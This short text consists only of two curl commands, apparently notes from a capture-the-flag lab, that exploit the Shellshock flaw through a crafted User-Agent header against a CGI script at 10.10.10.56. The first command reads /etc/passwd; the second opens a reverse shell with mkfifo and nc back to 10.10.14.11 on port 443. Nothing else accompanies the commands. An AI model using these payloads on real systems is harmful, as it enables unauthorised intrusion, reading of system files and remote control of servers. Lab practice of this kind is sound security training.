curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" http://10.10.10.56/cgi-bin/user.sh
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.11 443 >/tmp/f'" http://10.10.10.56/cgi-bin/user.sh